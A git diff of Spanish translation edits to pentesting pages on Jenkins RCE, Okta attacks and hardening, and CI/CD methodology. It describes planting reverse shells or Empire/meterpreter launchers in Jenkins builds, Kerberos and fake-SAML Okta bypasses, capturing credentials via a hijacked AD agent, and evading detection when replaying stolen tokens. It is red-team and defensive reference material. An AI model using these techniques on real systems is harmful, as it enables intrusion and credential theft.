@@ -32,6 +32,6 @@ Finalmente, haz clic en **Guardar** y **Construir ahora** y el pipeline se ejecu
 
 ## Modificando un Pipeline
 
-Si puedes acceder al archivo de configuración de algún pipeline configurado, podrías **modificarlo añadiendo tu reverse shell** y luego ejecutarlo o esperar a que se ejecute. 
+Si puedes acceder al archivo de configuración de algún pipeline configurado, podrías **modificarlo añadiendo tu reverse shell** y luego ejecutarlo o esperar a que se ejecute.
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md

@@ -4,7 +4,7 @@
 
 ## Creando un Proyecto
 
-Este método es muy ruidoso porque tienes que crear un proyecto completamente nuevo (obviamente esto solo funcionará si el usuario tiene permiso para crear un nuevo proyecto).
+Este método es muy ruidoso porque tienes que crear un proyecto completamente nuevo (obviamente esto solo funcionará si se permite al usuario crear un nuevo proyecto).
 
 1. **Crea un nuevo proyecto** (proyecto Freestyle) haciendo clic en "Nuevo Elemento" o en `/view/all/newJob`
 2. Dentro de la sección **Construir**, establece **Ejecutar shell** y pega un lanzador de powershell Empire o un powershell de meterpreter (se puede obtener usando _unicorn_). Inicia la carga útil con _PowerShell.exe_ en lugar de usar _powershell._
@@ -16,7 +16,7 @@ Este método es muy ruidoso porque tienes que crear un proyecto completamente nu
 
 ## Modificando un Proyecto
 
-Ve a los proyectos y verifica **si puedes configurar alguno** de ellos (busca el "botón de Configurar"):
+Ve a los proyectos y verifica **si puedes configurar alguno** de ellos (busca el "botón Configurar"):
 
 ![](<../../images/image (265).png>)
 
@@ -31,6 +31,6 @@ Si se te permite configurar el proyecto, puedes **hacer que ejecute comandos cua
 ![](<../../images/image (98).png>)
 
 Haz clic en **Guardar** y **construye** el proyecto y tu **comando será ejecutado**.\
-Si no estás ejecutando un shell inverso, sino un comando simple, puedes **ver la salida del comando dentro de la salida de la construcción**.
+Si no estás ejecutando un shell reverso sino un comando simple, puedes **ver la salida del comando dentro de la salida de la construcción**.
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/okta-security/README.md

@@ -1,12 +1,12 @@
-# Okta Security
+# Seguridad de Okta
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Información Básica
 
 [Okta, Inc.](https://www.okta.com/) es reconocida en el sector de gestión de identidad y acceso por sus soluciones de software basadas en la nube. Estas soluciones están diseñadas para agilizar y asegurar la autenticación de usuarios en diversas aplicaciones modernas. Atienden no solo a empresas que buscan proteger sus datos sensibles, sino también a desarrolladores interesados en integrar controles de identidad en aplicaciones, servicios web y dispositivos.
 
-La oferta principal de Okta es la **Okta Identity Cloud**. Esta plataforma abarca un conjunto de productos, incluyendo, pero no limitado a:
+La oferta principal de Okta es la **Okta Identity Cloud**. Esta plataforma abarca un conjunto de productos, incluyendo pero no limitado a:
 
 - **Single Sign-On (SSO)**: Simplifica el acceso del usuario al permitir un conjunto de credenciales de inicio de sesión en múltiples aplicaciones.
 - **Multi-Factor Authentication (MFA)**: Mejora la seguridad al requerir múltiples formas de verificación.
@@ -17,14 +17,14 @@ La oferta principal de Okta es la **Okta Identity Cloud**. Esta plataforma abarc
 Estos servicios tienen como objetivo colectivo fortalecer la protección de datos y agilizar el acceso de los usuarios, mejorando tanto la seguridad como la conveniencia. La versatilidad de las soluciones de Okta las convierte en una opción popular en diversas industrias, beneficiando a grandes empresas, pequeñas compañías y desarrolladores individuales por igual. Hasta la última actualización en septiembre de 2021, Okta es reconocida como una entidad prominente en el ámbito de la Gestión de Identidad y Acceso (IAM).
 
 > [!CAUTION]
-> El objetivo principal de Okta es configurar el acceso a diferentes usuarios y grupos a aplicaciones externas. Si logras **comprometer privilegios de administrador en un entorno de Okta**, es muy probable que puedas **comprometer todas las demás plataformas que la empresa está utilizando**.
+> El objetivo principal de Okta es configurar el acceso a diferentes usuarios y grupos a aplicaciones externas. Si logras **comprometer privilegios de administrador en un entorno de Okta**, probablemente podrás **comprometer todas las demás plataformas que la empresa está utilizando**.
 
 > [!TIP]
 > Para realizar una revisión de seguridad de un entorno de Okta, deberías solicitar **acceso de solo lectura de administrador**.
 
-### Summary
+### Resumen
 
-Hay **usuarios** (que pueden ser **almacenados en Okta,** registrados desde **Proveedores de Identidad** configurados o autenticados a través de **Active Directory** o LDAP).\
+Hay **usuarios** (que pueden ser **almacenados en Okta,** iniciar sesión desde **Proveedores de Identidad** configurados o autenticarse a través de **Active Directory** o LDAP).\
 Estos usuarios pueden estar dentro de **grupos**.\
 También hay **autenticadores**: diferentes opciones para autenticar como contraseña, y varios 2FA como WebAuthn, correo electrónico, teléfono, okta verify (pueden estar habilitados o deshabilitados)...
 
@@ -33,60 +33,56 @@ Luego, hay **aplicaciones** sincronizadas con Okta. Cada aplicación tendrá alg
 > [!CAUTION]
 > El rol más poderoso es **Super Administrador**.
 >
-> Si un atacante compromete Okta con acceso de Administrador, todas las **aplicaciones que confían en Okta** serán muy probablemente **comprometidas**.
+> Si un atacante compromete Okta con acceso de Administrador, todas las **aplicaciones que confían en Okta** probablemente estarán **comprometidas**.
 
-## Attacks
+## Ataques
 
-### Locating Okta Portal
+### Localizando el Portal de Okta
 
-Usualmente el portal de una empresa estará ubicado en **companyname.okta.com**. Si no, prueba variaciones simples de **companyname.** Si no puedes encontrarlo, también es posible que la organización tenga un registro **CNAME** como **`okta.companyname.com`** apuntando al **portal de Okta**.
+Usualmente, el portal de una empresa estará ubicado en **companyname.okta.com**. Si no, prueba variaciones simples de **companyname.** Si no puedes encontrarlo, también es posible que la organización tenga un registro **CNAME** como **`okta.companyname.com`** apuntando al **portal de Okta**.
 
-### Login in Okta via Kerberos
+### Inicio de Sesión en Okta a través de Kerberos
 
-Si **`companyname.kerberos.okta.com`** está activo, **Kerberos se utiliza para el acceso a Okta**, eludiendo típicamente **MFA** para usuarios de **Windows**. Para encontrar usuarios de Okta autenticados por Kerberos en AD, ejecuta **`getST.py`** con **parámetros apropiados**. Al obtener un **ticket de usuario de AD**, **iníctalo** en un host controlado usando herramientas como Rubeus o Mimikatz, asegurando que **`clientname.kerberos.okta.com` esté en la zona "Intranet" de las Opciones de Internet**. Acceder a una URL específica debería devolver una respuesta JSON "OK", indicando la aceptación del ticket de Kerberos y otorgando acceso al panel de control de Okta.
+Si **`companyname.kerberos.okta.com`** está activo, **Kerberos se utiliza para el acceso a Okta**, normalmente eludiendo **MFA** para usuarios de **Windows**. Para encontrar usuarios de Okta autenticados por Kerberos en AD, ejecuta **`getST.py`** con **parámetros apropiados**. Al obtener un **ticket de usuario de AD**, **iníctalo** en un host controlado utilizando herramientas como Rubeus o Mimikatz, asegurando que **`clientname.kerberos.okta.com` esté en la zona "Intranet" de las Opciones de Internet**. Acceder a una URL específica debería devolver una respuesta JSON "OK", indicando la aceptación del ticket de Kerberos y otorgando acceso al panel de control de Okta.
 
-Comprometer la **cuenta de servicio de Okta con el SPN de delegación habilita un ataque de Silver Ticket.** Sin embargo, el uso de **AES** por parte de Okta para la encriptación de tickets requiere poseer la clave AES o la contraseña en texto plano. Usa **`ticketer.py` para generar un ticket para el usuario víctima** y entregarlo a través del navegador para autenticarte con Okta.
+Comprometer la **cuenta de servicio de Okta con el SPN de delegación permite un ataque de Silver Ticket.** Sin embargo, el uso de **AES** por parte de Okta para la encriptación de tickets requiere poseer la clave AES o la contraseña en texto plano. Usa **`ticketer.py` para generar un ticket para el usuario víctima** y entregarlo a través del navegador para autenticarte con Okta.
 
 **Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-### Hijacking Okta AD Agent
+### Secuestro del Agente AD de Okta
 
 Esta técnica implica **acceder al Agente AD de Okta en un servidor**, que **sincroniza usuarios y maneja la autenticación**. Al examinar y desencriptar configuraciones en **`OktaAgentService.exe.config`**, notablemente el AgentToken usando **DPAPI**, un atacante puede potencialmente **interceptar y manipular datos de autenticación**. Esto permite no solo **monitorear** y **capturar credenciales de usuario** en texto plano durante el proceso de autenticación de Okta, sino también **responder a intentos de autenticación**, permitiendo así el acceso no autorizado o proporcionando autenticación universal a través de Okta (similar a una 'llave maestra').
 
 **Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-### Hijacking AD As an Admin
+### Secuestro de AD como Administrador
 
 Esta técnica implica secuestrar un Agente AD de Okta obteniendo primero un Código OAuth, luego solicitando un token de API. El token está asociado con un dominio AD, y un **conector se nombra para establecer un agente AD falso**. La inicialización permite que el agente **procese intentos de autenticación**, capturando credenciales a través de la API de Okta. Hay herramientas de automatización disponibles para agilizar este proceso, ofreciendo un método fluido para interceptar y manejar datos de autenticación dentro del entorno de Okta.
 
 **Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-### Okta Fake SAML Provider
+### Proveedor SAML Falso de Okta
 
 **Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-La técnica implica **desplegar un proveedor SAML falso**. Al integrar un Proveedor de Identidad (IdP) externo dentro del marco de Okta usando una cuenta privilegiada, los atacantes pueden **controlar el IdP, aprobando cualquier solicitud de autenticación a voluntad**. El proceso implica configurar un IdP SAML 2.0 en Okta, manipulando la URL de inicio de sesión único del IdP para redirigir a través del archivo de hosts local, generando un certificado autofirmado y configurando los ajustes de Okta para que coincidan con el nombre de usuario o correo electrónico. Ejecutar con éxito estos pasos permite la autenticación como cualquier usuario de Okta, eludiendo la necesidad de credenciales individuales de usuario, elevando significativamente el control de acceso de manera potencialmente inadvertida.
+La técnica implica **desplegar un proveedor SAML falso**. Al integrar un Proveedor de Identidad (IdP) externo dentro del marco de Okta utilizando una cuenta privilegiada, los atacantes pueden **controlar el IdP, aprobando cualquier solicitud de autenticación a voluntad**. El proceso implica configurar un IdP SAML 2.0 en Okta, manipulando la URL de inicio de sesión único del IdP para redirigir a través del archivo de hosts local, generando un certificado autofirmado y configurando los ajustes de Okta para que coincidan con el nombre de usuario o correo electrónico. Ejecutar con éxito estos pasos permite la autenticación como cualquier usuario de Okta, eludiendo la necesidad de credenciales individuales de usuario, elevando significativamente el control de acceso de manera potencialmente inadvertida.
 
-### Phishing Okta Portal with Evilgnix
+### Ataque de Suplantación de Colega
 
-En [**este post del blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) se explica cómo preparar una campaña de phishing contra un portal de Okta.
+Los **atributos que cada usuario puede tener y modificar** (como correo electrónico o nombre) pueden ser configurados en Okta. Si una **aplicación** confía como ID un **atributo** que el usuario puede **modificar**, podrá **suplantar a otros usuarios en esa plataforma**.
 
-### Colleague Impersonation Attack
+Por lo tanto, si la aplicación confía en el campo **`userName`**, probablemente no podrás cambiarlo (porque generalmente no puedes cambiar ese campo), pero si confía por ejemplo en **`primaryEmail`** podrías **cambiarlo a la dirección de correo electrónico de un colega** y suplantarlo (necesitarás tener acceso al correo electrónico y aceptar el cambio).
 
-Los **atributos que cada usuario puede tener y modificar** (como correo electrónico o nombre) pueden ser configurados en Okta. Si una **aplicación** confía como ID en un **atributo** que el usuario puede **modificar**, podrá **suplantar a otros usuarios en esa plataforma**.
-
-Por lo tanto, si la aplicación confía en el campo **`userName`**, probablemente no podrás cambiarlo (porque generalmente no puedes cambiar ese campo), pero si confía, por ejemplo, en **`primaryEmail`**, podrías **cambiarlo a la dirección de correo electrónico de un colega** y suplantarlo (necesitarás tener acceso al correo electrónico y aceptar el cambio).
-
-Ten en cuenta que esta suplantación depende de cómo se configuró cada aplicación. Solo las que confían en el campo que modificaste y aceptan actualizaciones serán comprometidas.\
+Ten en cuenta que esta suplantación depende de cómo se configuró cada aplicación. Solo las que confían en el campo que modificaste y aceptan actualizaciones estarán comprometidas.\
 Por lo tanto, la aplicación debería tener este campo habilitado si existe:
 
 <figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
 
 También he visto otras aplicaciones que eran vulnerables pero no tenían ese campo en la configuración de Okta (al final, diferentes aplicaciones están configuradas de manera diferente).
 
-¡La mejor manera de averiguar si podrías suplantar a alguien en cada aplicación sería intentarlo!
+La mejor manera de averiguar si podrías suplantar a alguien en cada aplicación sería ¡intentar hacerlo!
 
-## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
+## Evadiendo políticas de detección de comportamiento <a href="#id-9fde" id="id-9fde"></a>
 
 Las políticas de detección de comportamiento en Okta pueden ser desconocidas hasta que se encuentren, pero **eludirlas** se puede lograr **dirigiéndose directamente a las aplicaciones de Okta**, evitando el panel de control principal de Okta. Con un **token de acceso de Okta**, reproduce el token en la **URL específica de la aplicación de Okta** en lugar de la página de inicio de sesión principal.
 
@@ -94,11 +90,11 @@ Las recomendaciones clave incluyen:
 
 - **Evitar usar** proxies de anonimato populares y servicios VPN al reproducir tokens de acceso capturados.
 - Asegurarse de que haya **cadenas de agente de usuario consistentes** entre el cliente y los tokens de acceso reproducidos.
-- **Abstenerse de reproducir** tokens de diferentes usuarios desde la misma dirección IP.
+- **Evitar reproducir** tokens de diferentes usuarios desde la misma dirección IP.
 - Tener cuidado al reproducir tokens contra el panel de control de Okta.
 - Si conoces las direcciones IP de la empresa víctima, **restringe el tráfico** a esas IPs o su rango, bloqueando todo el tráfico restante.
 
-## Okta Hardening
+## Fortalecimiento de Okta
 
 Okta tiene muchas configuraciones posibles, en esta página encontrarás cómo revisarlas para que sean lo más seguras posible:
 
@@ -106,7 +102,7 @@ Okta tiene muchas configuraciones posibles, en esta página encontrarás cómo r
 okta-hardening.md
 {{#endref}}
 
-## References
+## Referencias
 
 - [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
 - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)

src/pentesting-ci-cd/okta-security/okta-hardening.md

@@ -2,48 +2,48 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Directory
+## Directorio
 
-### People
+### Personas
 
 Desde la perspectiva de un atacante, esto es muy interesante ya que podrás ver **todos los usuarios registrados**, sus **direcciones de correo electrónico**, los **grupos** de los que forman parte, **perfiles** e incluso **dispositivos** (móviles junto con sus sistemas operativos).
 
-Para una revisión de caja blanca, verifica que no haya varias "**Acciones de usuario pendientes**" y "**Restablecimiento de contraseña**".
+Para una revisión de caja blanca, verifica que no haya varias "**Acciones pendientes del usuario**" y "**Restablecimiento de contraseña**".
 
-### Groups
+### Grupos
 
 Aquí es donde encuentras todos los grupos creados en Okta. Es interesante entender los diferentes grupos (conjunto de **permisos**) que podrían ser otorgados a los **usuarios**.\
-Es posible ver las **personas incluidas dentro de los grupos** y las **aplicaciones asignadas** a cada grupo.
+Es posible ver las **personas incluidas en los grupos** y las **aplicaciones asignadas** a cada grupo.
 
 Por supuesto, cualquier grupo con el nombre de **admin** es interesante, especialmente el grupo **Administradores Globales**, verifica los miembros para aprender quiénes son los miembros más privilegiados.
 
 Desde una revisión de caja blanca, **no debería haber más de 5 administradores globales** (mejor si solo hay 2 o 3).
 
-### Devices
+### Dispositivos
 
 Encuentra aquí una **lista de todos los dispositivos** de todos los usuarios. También puedes ver si está siendo **gestionado activamente** o no.
 
-### Profile Editor
+### Editor de Perfil
 
 Aquí es posible observar cómo se comparte información clave como nombres, apellidos, correos electrónicos, nombres de usuario... entre Okta y otras aplicaciones. Esto es interesante porque si un usuario puede **modificar en Okta un campo** (como su nombre o correo electrónico) que luego es utilizado por una **aplicación externa** para **identificar** al usuario, un interno podría intentar **tomar el control de otras cuentas**.
 
 Además, en el perfil **`Usuario (predeterminado)`** de Okta puedes ver **qué campos** tiene cada **usuario** y cuáles son **escribibles** por los usuarios. Si no puedes ver el panel de administración, simplemente ve a **actualizar la información de tu perfil** y verás qué campos puedes actualizar (ten en cuenta que para actualizar una dirección de correo electrónico necesitarás verificarla).
 
-### Directory Integrations
+### Integraciones de Directorio
 
 Los directorios te permiten importar personas de fuentes existentes. Supongo que aquí verás los usuarios importados de otros directorios.
 
-No lo he visto, pero supongo que esto es interesante para averiguar **otros directorios que Okta está utilizando para importar usuarios** así que si **comprometes ese directorio** podrías establecer algunos valores de atributos en los usuarios creados en Okta y **quizás comprometer el entorno de Okta**.
+No lo he visto, pero supongo que esto es interesante para descubrir **otros directorios que Okta está utilizando para importar usuarios**, así que si **comprometes ese directorio** podrías establecer algunos valores de atributos en los usuarios creados en Okta y **quizás comprometer el entorno de Okta**.
 
-### Profile Sources
+### Fuentes de Perfil
 
-Una fuente de perfil es una **aplicación que actúa como fuente de verdad** para los atributos del perfil del usuario. Un usuario solo puede ser fuente de una única aplicación o directorio a la vez.
+Una fuente de perfil es una **aplicación que actúa como fuente de verdad** para los atributos del perfil del usuario. Un usuario solo puede ser fuente de una sola aplicación o directorio a la vez.
 
 No lo he visto, así que cualquier información sobre seguridad y hacking respecto a esta opción es apreciada.
 
-## Customizations
+## Personalizaciones
 
-### Brands
+### Marcas
 
 Verifica en la pestaña **Dominios** de esta sección las direcciones de correo electrónico utilizadas para enviar correos y el dominio personalizado dentro de Okta de la empresa (que probablemente ya conoces).
 
@@ -53,17 +53,17 @@ Además, en la pestaña **Configuración**, si eres administrador, puedes "**Usa
 
 Nada interesante aquí.
 
-### End-User Dashboard
+### Panel de Control del Usuario Final
 
 Aquí puedes encontrar aplicaciones configuradas, pero veremos los detalles de esas más adelante en una sección diferente.
 
-### Other
+### Otro
 
 Configuración interesante, pero nada super interesante desde el punto de vista de la seguridad.
 
-## Applications
+## Aplicaciones
 
-### Applications
+### Aplicaciones
 
 Aquí puedes encontrar todas las **aplicaciones configuradas** y sus detalles: Quién tiene acceso a ellas, cómo está configurado (SAML, OpenID), URL para iniciar sesión, los mapeos entre Okta y la aplicación...
 
@@ -75,21 +75,21 @@ Y podrías ver algunos detalles más sobre la aplicación (como la función de r
 
 <figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
 
-## Identity Governance
+## Gobernanza de Identidad
 
-### Access Certifications
+### Certificaciones de Acceso
 
-Utiliza las Certificaciones de Acceso para crear campañas de auditoría para revisar periódicamente el acceso de tus usuarios a los recursos y aprobar o revocar el acceso automáticamente cuando sea necesario.
+Utiliza las Certificaciones de Acceso para crear campañas de auditoría para revisar el acceso de tus usuarios a los recursos periódicamente y aprobar o revocar el acceso automáticamente cuando sea necesario.
 
 No lo he visto utilizado, pero supongo que desde un punto de vista defensivo es una buena característica.
 
-## Security
+## Seguridad
 
 ### General
 
 - **Correos electrónicos de notificación de seguridad**: Todos deberían estar habilitados.
 - **Integración de CAPTCHA**: Se recomienda establecer al menos el reCaptcha invisible.
-- **Seguridad de la organización**: Todo puede ser habilitado y los correos electrónicos de activación no deberían tardar mucho (7 días está bien).
+- **Seguridad de la Organización**: Todo puede ser habilitado y los correos electrónicos de activación no deberían tardar mucho (7 días está bien).
 - **Prevención de enumeración de usuarios**: Ambos deberían estar habilitados.
 - Ten en cuenta que la Prevención de Enumeración de Usuarios no tiene efecto si se permite alguna de las siguientes condiciones (Consulta [Gestión de usuarios](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) para más información):
 - Registro de autoservicio.
@@ -100,7 +100,7 @@ No lo he visto utilizado, pero supongo que desde un punto de vista defensivo es
 
 Aquí es posible encontrar configuraciones **correctas** y **peligrosas**.
 
-### Authenticators
+### Autenticadores
 
 Aquí puedes encontrar todos los métodos de autenticación que un usuario podría usar: Contraseña, teléfono, correo electrónico, código, WebAuthn... Al hacer clic en el autenticador de Contraseña puedes ver la **política de contraseñas**. Verifica que sea fuerte.
 
@@ -110,13 +110,13 @@ En la pestaña **Inscripción** puedes ver cuáles son requeridos u opcionales:
 
 Se recomienda deshabilitar el teléfono. Los más fuertes son probablemente una combinación de contraseña, correo electrónico y WebAuthn.
 
-### Authentication policies
+### Políticas de autenticación
 
 Cada aplicación tiene una política de autenticación. La política de autenticación verifica que los usuarios que intentan iniciar sesión en la aplicación cumplan con condiciones específicas y hace cumplir los requisitos de factores basados en esas condiciones.
 
 Aquí puedes encontrar los **requisitos para acceder a cada aplicación**. Se recomienda solicitar al menos una contraseña y otro método para cada aplicación. Pero si como atacante encuentras algo más débil, podrías ser capaz de atacarlo.
 
-### Global Session Policy
+### Política de Sesión Global
 
 Aquí puedes encontrar las políticas de sesión asignadas a diferentes grupos. Por ejemplo:
 
@@ -124,21 +124,21 @@ Aquí puedes encontrar las políticas de sesión asignadas a diferentes grupos.
 
 Se recomienda solicitar MFA, limitar la duración de la sesión a algunas horas, no persistir las cookies de sesión a través de extensiones de navegador y limitar la ubicación y el Proveedor de Identidad (si esto es posible). Por ejemplo, si cada usuario debería iniciar sesión desde un país, podrías permitir solo esta ubicación.
 
-### Identity Providers
+### Proveedores de Identidad
 
 Los Proveedores de Identidad (IdPs) son servicios que **gestionan cuentas de usuario**. Agregar IdPs en Okta permite a tus usuarios finales **autoregistrarse** con tus aplicaciones personalizadas autenticándose primero con una cuenta social o una tarjeta inteligente.
 
 En la página de Proveedores de Identidad, puedes agregar inicios de sesión sociales (IdPs) y configurar Okta como proveedor de servicios (SP) agregando SAML entrante. Después de haber agregado IdPs, puedes configurar reglas de enrutamiento para dirigir a los usuarios a un IdP según el contexto, como la ubicación del usuario, el dispositivo o el dominio de correo electrónico.
 
-**Si algún proveedor de identidad está configurado** desde la perspectiva de un atacante y defensor, verifica esa configuración y **si la fuente es realmente confiable**, ya que un atacante que lo comprometa también podría obtener acceso al entorno de Okta.
+**Si algún proveedor de identidad está configurado**, desde la perspectiva de un atacante y defensor, verifica esa configuración y **si la fuente es realmente confiable**, ya que un atacante que lo comprometa también podría obtener acceso al entorno de Okta.
 
-### Delegated Authentication
+### Autenticación Delegada
 
 La autenticación delegada permite a los usuarios iniciar sesión en Okta ingresando credenciales para el **Active Directory (AD) o LDAP** de su organización.
 
 Nuevamente, revisa esto, ya que un atacante que comprometa el AD de una organización podría ser capaz de pivotar hacia Okta gracias a esta configuración.
 
-### Network
+### Red
 
 Una zona de red es un límite configurable que puedes usar para **otorgar o restringir el acceso a computadoras y dispositivos** en tu organización según la **dirección IP** que está solicitando acceso. Puedes definir una zona de red especificando una o más direcciones IP individuales, rangos de direcciones IP o ubicaciones geográficas.
 
@@ -146,53 +146,53 @@ Después de definir una o más zonas de red, puedes **usarlas en Políticas de S
 
 Desde la perspectiva de un atacante, es interesante saber qué IPs están permitidas (y verificar si alguna **IP tiene más privilegios** que otras). Desde la perspectiva de un atacante, si los usuarios deberían estar accediendo desde una dirección IP o región específica, verifica que esta función se esté utilizando correctamente.
 
-### Device Integrations
+### Integraciones de Dispositivos
 
 - **Gestión de Puntos Finales**: La gestión de puntos finales es una condición que se puede aplicar en una política de autenticación para garantizar que los dispositivos gestionados tengan acceso a una aplicación.
 - No he visto esto utilizado aún. TODO
-- **Servicios de notificación**: No he visto esto utilizado aún. TODO
+- **Servicios de Notificación**: No he visto esto utilizado aún. TODO
 
 ### API
 
-Puedes crear tokens de API de Okta en esta página y ver los que han sido **creados**, sus **privilegios**, tiempo de **expiración** y **URLs de origen**. Ten en cuenta que los tokens de API se generan con los permisos del usuario que creó el token y son válidos solo si el **usuario** que los creó está **activo**.
+Puedes crear tokens de API de Okta en esta página y ver los que han sido **creados**, sus **privilegios**, tiempo de **expiración** y **URLs de Origen**. Ten en cuenta que los tokens de API se generan con los permisos del usuario que creó el token y son válidos solo si el **usuario** que los creó está **activo**.
 
-Los **Orígenes de Confianza** otorgan acceso a sitios web que controlas y confías para acceder a tu organización de Okta a través de la API de Okta.
+Los **Orígenes Confiables** otorgan acceso a sitios web que controlas y confías para acceder a tu organización de Okta a través de la API de Okta.
 
 No debería haber muchos tokens de API, ya que si los hay, un atacante podría intentar acceder a ellos y usarlos.
 
-## Workflow
+## Flujo de Trabajo
 
-### Automations
+### Automatizaciones
 
 Las automatizaciones te permiten crear acciones automatizadas que se ejecutan en función de un conjunto de condiciones de activación que ocurren durante el ciclo de vida de los usuarios finales.
 
-Por ejemplo, una condición podría ser "Inactividad del usuario en Okta" o "Expiración de la contraseña del usuario en Okta" y la acción podría ser "Enviar correo electrónico al usuario" o "Cambiar el estado del ciclo de vida del usuario en Okta".
+Por ejemplo, una condición podría ser "Inactividad del usuario en Okta" o "Expiración de la contraseña del usuario en Okta" y la acción podría ser "Enviar un correo electrónico al usuario" o "Cambiar el estado del ciclo de vida del usuario en Okta".
 
-## Reports
+## Informes
 
-### Reports
+### Informes
 
-Descarga registros. Se **envían** a la **dirección de correo electrónico** de la cuenta actual.
+Descargar registros. Se **envían** a la **dirección de correo electrónico** de la cuenta actual.
 
-### System Log
+### Registro del Sistema
 
-Aquí puedes encontrar los **registros de las acciones realizadas por los usuarios** con muchos detalles como inicio de sesión en Okta o en aplicaciones a través de Okta.
+Aquí puedes encontrar los **registros de las acciones realizadas por los usuarios** con muchos detalles como iniciar sesión en Okta o en aplicaciones a través de Okta.
 
-### Import Monitoring
+### Monitoreo de Importación
 
 Esto puede **importar registros de otras plataformas** accedidas con Okta.
 
-### Rate limits
+### Límites de tasa
 
 Verifica los límites de tasa de la API alcanzados.
 
-## Settings
+## Configuraciones
 
-### Account
+### Cuenta
 
 Aquí puedes encontrar **información genérica** sobre el entorno de Okta, como el nombre de la empresa, dirección, **correo electrónico de contacto de facturación**, **correo electrónico de contacto técnico** y también quién debería recibir actualizaciones de Okta y qué tipo de actualizaciones de Okta.
 
-### Downloads
+### Descargas
 
 Aquí puedes descargar agentes de Okta para sincronizar Okta con otras tecnologías.
 

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodology
+# Metodología de Pentesting CI/CD
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -12,92 +12,92 @@ VCS significa **Sistema de Control de Versiones**, estos sistemas permiten a los
 - Gitlab
 - Bitbucket
 - Gitea
-- Proveedores de nube (ofrecen sus propias plataformas VCS)
+- Proveedores de la nube (ofrecen sus propias plataformas VCS)
 
-## CI/CD Pipelines
+## Pipelines CI/CD
 
-Las pipelines de CI/CD permiten a los desarrolladores **automatizar la ejecución de código** para varios propósitos, incluyendo la construcción, prueba y despliegue de aplicaciones. Estos flujos de trabajo automatizados son **activados por acciones específicas**, como pushes de código, pull requests o tareas programadas. Son útiles para agilizar el proceso desde el desarrollo hasta la producción.
+Los pipelines CI/CD permiten a los desarrolladores **automatizar la ejecución de código** para varios propósitos, incluyendo la construcción, prueba y despliegue de aplicaciones. Estos flujos de trabajo automatizados son **activados por acciones específicas**, como pushes de código, pull requests o tareas programadas. Son útiles para agilizar el proceso desde el desarrollo hasta la producción.
 
 Sin embargo, estos sistemas necesitan ser **ejecutados en algún lugar** y generalmente con **credenciales privilegiadas para desplegar código o acceder a información sensible**.
 
-## VCS Pentesting Methodology
+## Metodología de Pentesting VCS
 
 > [!NOTE]
-> Incluso si algunas plataformas VCS permiten crear pipelines, en esta sección solo analizaremos los posibles ataques al control del código fuente.
+> Incluso si algunas plataformas VCS permiten crear pipelines, en esta sección solo vamos a analizar los posibles ataques al control del código fuente.
 
 Las plataformas que contienen el código fuente de tu proyecto contienen información sensible y las personas deben tener mucho cuidado con los permisos otorgados dentro de esta plataforma. Estos son algunos problemas comunes en las plataformas VCS que un atacante podría abusar:
 
-- **Leaks**: Si tu código contiene leaks en los commits y el atacante puede acceder al repo (porque es público o porque tiene acceso), podría descubrir los leaks.
-- **Access**: Si un atacante puede **acceder a una cuenta dentro de la plataforma VCS**, podría obtener **más visibilidad y permisos**.
-- **Register**: Algunas plataformas solo permitirán a los usuarios externos crear una cuenta.
+- **Filtraciones**: Si tu código contiene filtraciones en los commits y el atacante puede acceder al repositorio (porque es público o porque tiene acceso), podría descubrir las filtraciones.
+- **Acceso**: Si un atacante puede **acceder a una cuenta dentro de la plataforma VCS**, podría obtener **más visibilidad y permisos**.
+- **Registro**: Algunas plataformas solo permitirán a los usuarios externos crear una cuenta.
 - **SSO**: Algunas plataformas no permitirán a los usuarios registrarse, pero permitirán a cualquiera acceder con un SSO válido (por lo que un atacante podría usar su cuenta de github para entrar, por ejemplo).
-- **Credentials**: Nombre de usuario + Contraseña, tokens personales, claves ssh, tokens Oauth, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna manera a un repo.
+- **Credenciales**: Nombre de usuario + Contraseña, tokens personales, claves ssh, tokens Oauth, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna manera a un repositorio.
 - **Webhooks**: Las plataformas VCS permiten generar webhooks. Si no están **protegidos** con secretos no visibles, un **atacante podría abusar de ellos**.
 - Si no hay secreto en su lugar, el atacante podría abusar del webhook de la plataforma de terceros.
 - Si el secreto está en la URL, lo mismo sucede y el atacante también tiene el secreto.
-- **Code compromise:** Si un actor malicioso tiene algún tipo de **acceso de escritura** sobre los repos, podría intentar **inyectar código malicioso**. Para tener éxito, podría necesitar **eludir las protecciones de rama**. Estas acciones pueden realizarse con diferentes objetivos en mente:
+- **Compromiso de código:** Si un actor malicioso tiene algún tipo de acceso **de escritura** sobre los repositorios, podría intentar **inyectar código malicioso**. Para tener éxito, podría necesitar **eludir las protecciones de rama**. Estas acciones pueden realizarse con diferentes objetivos en mente:
 - Comprometer la rama principal para **comprometer la producción**.
-- Comprometer la principal (u otras ramas) para **comprometer las máquinas de los desarrolladores** (ya que generalmente ejecutan pruebas, terraform u otras cosas dentro del repo en sus máquinas).
-- **Comprometer la pipeline** (ver la siguiente sección).
